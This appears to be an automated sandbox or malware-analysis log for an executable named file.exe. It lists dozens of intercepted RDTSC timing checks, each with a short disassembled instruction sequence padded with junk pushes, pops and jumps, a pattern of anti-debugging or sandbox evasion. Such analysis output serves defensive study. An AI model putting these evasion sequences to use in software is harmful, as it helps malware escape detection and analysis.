Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE27C second address: FAE2A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F0A0CDE9D18h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE407 second address: FAE410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE410 second address: FAE414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE560 second address: FAE58C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0A0CDBB9BFh 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0A0CDBB9C2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE6F1 second address: FAE703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jne 00007F0A0CDE9D16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE703 second address: FAE708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE708 second address: F92E0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 adc edi, 04F9ACF5h 0x0000000f call dword ptr [ebp+1247130Eh] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0A0CDE9D25h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92E0D second address: F92E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92E13 second address: F92E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92E17 second address: F92E40 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0A0CDBB9BEh 0x0000000c jno 00007F0A0CDBB9B6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0A0CDBB9BEh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA159 second address: FEA15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA588 second address: FEA5E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0A0CDBB9C5h 0x00000008 pop edx 0x00000009 jmp 00007F0A0CDBB9C8h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F0A0CDBB9C0h 0x00000016 push esi 0x00000017 jmp 00007F0A0CDBB9C9h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF24C second address: FEF253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF253 second address: FEF272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0A0CDBB9C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF272 second address: FEF287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0A0CDE9D16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F0A0CDE9D16h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF287 second address: FEF28B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF98B second address: FEF991 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFAEA second address: FEFAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F0A0CDBB9B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFAF7 second address: FEFB41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D27h 0x00000007 jmp 00007F0A0CDE9D1Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F0A0CDE9D20h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0A0CDE9D21h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFB41 second address: FEFB46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC6B second address: FEFC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F0A0CDE9D16h 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC7F second address: FEFC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F0A0CDBB9B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC8E second address: FEFC92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF59AB second address: FF59B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF59B1 second address: FF59E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnp 00007F0A0CDE9D18h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e jl 00007F0A0CDE9D16h 0x00000014 jmp 00007F0A0CDE9D25h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF59E0 second address: FF59FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF59FA second address: FF5A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F0A0CDE9D16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF46BC second address: FF46C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0A0CDBB9B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF486B second address: FF486F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF486F second address: FF4875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4CEA second address: FF4CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F0A0CDE9D16h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4CFB second address: FF4D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4D01 second address: FF4D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4412 second address: FF4416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF50C2 second address: FF50D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF522D second address: FF5248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0A0CDBB9C1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5248 second address: FF524E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF524E second address: FF5252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF538B second address: FF539C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8824 second address: FF8858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0A0CDBB9BFh 0x0000000d pushad 0x0000000e jmp 00007F0A0CDBB9C3h 0x00000013 jno 00007F0A0CDBB9B6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA7A0 second address: FFA7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA7A4 second address: FFA7A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA7A8 second address: FFA7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0A0CDE9D1Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA7C0 second address: FFA7C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF6BE second address: FFF6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F0A0CDE9D16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF81E second address: FFF822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF822 second address: FFF843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F0A0CDE9D16h 0x0000000e jmp 00007F0A0CDE9D23h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDB6 second address: FFFDBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDBC second address: FFFDC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDC0 second address: FFFDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0A0CDBB9C2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDCE second address: FFFDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDD4 second address: FFFDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0A0CDBB9C5h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFDF4 second address: FFFE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007F0A0CDE9D16h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFE01 second address: FFFE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F0A0CDBB9BAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFE11 second address: FFFE2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D25h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE0E2 second address: FAE0F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE0F3 second address: FAE0F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE0F8 second address: FAE0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10000E1 second address: 10000ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F0A0CDE9D16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10000ED second address: 10000F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10000F1 second address: 10000F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10000F7 second address: 1000102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000102 second address: 1000108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000108 second address: 1000115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000115 second address: 100011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100011B second address: 100011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100011F second address: 1000123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000123 second address: 1000129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000129 second address: 100012F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100012F second address: 1000133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000133 second address: 1000137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004A1D second address: 1004A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003FEA second address: 1003FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003FF4 second address: 1003FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10045EB second address: 10045EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10045EF second address: 1004603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0A0CDBB9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F0A0CDBB9B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004603 second address: 1004612 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004612 second address: 1004621 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007813 second address: 100781D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0A0CDE9D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007044 second address: 1007063 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0A0CDBB9D1h 0x00000008 jmp 00007F0A0CDBB9C5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6091C second address: F60939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D28h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60939 second address: F60940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E4EC second address: 100E510 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0A0CDE9D16h 0x0000000e jmp 00007F0A0CDE9D26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E683 second address: 100E689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E689 second address: 100E693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC9E second address: 100ECB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jmp 00007F0A0CDBB9BDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EF74 second address: 100EF79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EF79 second address: 100EF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0A0CDBB9BCh 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EF90 second address: 100EF94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F549 second address: 100F54E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F54E second address: 100F565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D21h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F85C second address: 100F87C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0A0CDBB9C6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F87C second address: 100F880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100FB21 second address: 100FB27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100FB27 second address: 100FB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100FB30 second address: 100FB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100FE57 second address: 100FE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10149F1 second address: 10149F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179AB second address: 10179B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179B5 second address: 10179B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179B9 second address: 10179BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017AEE second address: 1017AF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017AF4 second address: 1017B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F0A0CDE9D16h 0x0000000a jl 00007F0A0CDE9D16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017C9B second address: 1017C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
